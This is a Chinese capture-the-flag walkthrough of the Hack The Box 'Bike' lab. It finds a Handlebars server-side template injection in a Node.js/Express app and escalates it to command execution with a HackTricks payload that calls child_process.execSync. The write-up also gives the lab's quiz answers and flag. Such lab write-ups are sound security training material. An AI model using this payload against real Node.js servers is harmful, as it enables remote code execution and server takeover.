HTB-bike(SSTI模版注入)

前言

  • 大家好,我是qmx_07,今天给大家讲解bike靶场
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述

  • 服务器开放了 22 ssh 和 http80端口

Wappalyzer

  • 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等
    在这里插入图片描述
  • 服务器所使用Express框架

发现SSTI模版注入

在这里插入图片描述

  • 可以看到这个输入框,用来输出 内容
  • 尝试xss攻击失败
  • 介绍:book.hacktricks.xyz 是一个在线技术知识库,提供有关黑客技术、网络安全和渗透测试的信息和资源,学习网络安全渗透知识
  • 由于前面Wappalyzer 搜集到编程语言是Node.js进行尝试SSTI模版注入
    在这里插入图片描述
    在这里插入图片描述
  • 输入{{7*7}}正确的返回值是49
    在这里插入图片描述
  • 服务器显示报错,信息显示使用的handlebars模版
  • /root路径 可能拥有更高的权限

SSTI模版注入

在这里插入图片描述

  • 使用hacktricks里handlebars模版的注入poc
    在这里插入图片描述
  • 对poc进行url编码,防止出现其他问题
  • 显示require函数 无法被调用,可能做了一些安全限制,尝试绕过
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process;"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • process没有被禁用,尝试获取主函数
  • 在Node.js中,process是一个全局对象,它提供了对当前运行的Node.js进程的访问和控制
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainMoudle;"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • process.mainMoudle也可以调用,我们尝试间接调用require函数
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • child_process模块提供了创建子进程的功能,可以通过该模块执行外部的系统命令
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在这里插入图片描述

  • execSync用于 命令执行相关函数
  • 服务器返回了账号名root
    在这里插入图片描述
    在这里插入图片描述
  • flag:6b258d726d287462d60c103d0142a81c

知识点讲解

  • 介绍:SSTI(Server-Side Template Injection)是一种Web应用程序中的漏洞类型,攻击者通过在模板引擎中注入恶意代码来执行服务器端的任意代码
  • 模版引擎是一种用于渲染动态内容的工具,常用于网页开发中的模板系统
  • 危害:敏感数据泄露、服务器端命令执行、远程代码执行等

答案

  • 1.服务器开放了TCP哪些端口?

22,80

  • 2.http端口运行着哪个语言?

Node.js

  • 3.web框架名称是什么?

Express

  • 4.通过{{7*7}}这种形式验证的漏洞叫什么?

Server Side Template Injection

  • 5.Node.js使用的模版是什么?

Handlebars

  • 6.burp编码的选项卡叫什么?

Decoder

  • 7.为了使用有效载荷,我们需要使用什么编码?

url

  • 8.在使用什么函数时,服务器响应未定义?

require

  • 9.在Node.js中最高的变量叫什么?

golobal(也就是全局变量)

  • 10.使用载荷后,用户名叫什么?

root

  • 11.flag是什么?

6b258d726d287462d60c103d0142a81c

总结

  • 我们介绍了book.hacktricks.xyz 技术网站,以及ssti模版注入,相关函数的调用
  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值